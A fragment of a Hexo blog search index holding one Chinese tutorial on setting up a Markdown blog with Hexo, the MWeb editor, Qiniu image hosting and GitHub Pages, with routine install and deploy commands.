  </entry>
  <entry>
    <title><![CDATA[基于MarkDown的博客系统搭建]]></title>
    <url>%2F2018%2F05%2F21%2F%E5%85%B6%E5%AE%83%2F20180521%2F</url>
    <content type="text"><![CDATA[纯粹的文章编写,使用到GitPage,Hexo,MWeb,七牛做图床 注册七牛云账号七牛官网 创建”对象存储” 个人中心获取密钥 安装MWebMWeb官网 Mweb界面: 打开设置界面 填入密钥 完成后就可以上传图片了,图片访问需要一个固定域名,创建时七牛云给一个临时的域名可以使用一个月. 使用”外部模式” 快捷键⌘+E点 “+”号引入 配置项目 因为MWeb在外部模式才支持,图片url替换,正常模式需要手工上传粘贴url 安装Hexo参照官网Hexo官网安装1npm install -g hexo-cli 安装完成,可以在命令行下使用. 新建项目123hexo init &lt;folder&gt;cd &lt;folder&gt;npm install 创建完如下: 新建文章1hexo new 文章名 打开,如图结构 运行预览服务1hexo s 找开网址,便能看到Blog界面 配置GitHubPage注册GitHub,略新建GitHubPagehttps://pages.github.com/创建一个git仓库,名字如下,xxx.github.io就可以使用xxx.github.io访问了 复制仓库地址,配置hexo如:https://github.com/arkin-j/arkin-j.github.io.git 配置发布在刚创建的目录下,修改_config.yml文件1vim _config.yml 具体查看帮助 https://hexo.io/docs/deployment如 创建完文章,便可以使用命令发布了,需要在项目目录下执行. 1hexo clean &amp;&amp; hexo deploy 然后再访问刚才创建的gitpage如:https://arkin-j.github.io/ 就可以看到新的文章了.如下: 模板在项目目录下,可以修改,也可以使用别人现在的. 完 &gt;&gt;&gt;]]></content>
      <categories>
        <category>其它</category>
      </categories>
      <tags>
        <tag>初始化</tag>
        <tag>Hexo</tag>
        <tag>MWeb</tag>
        <tag>GitPage</tag>
      </tags>
  </entry>
</search>
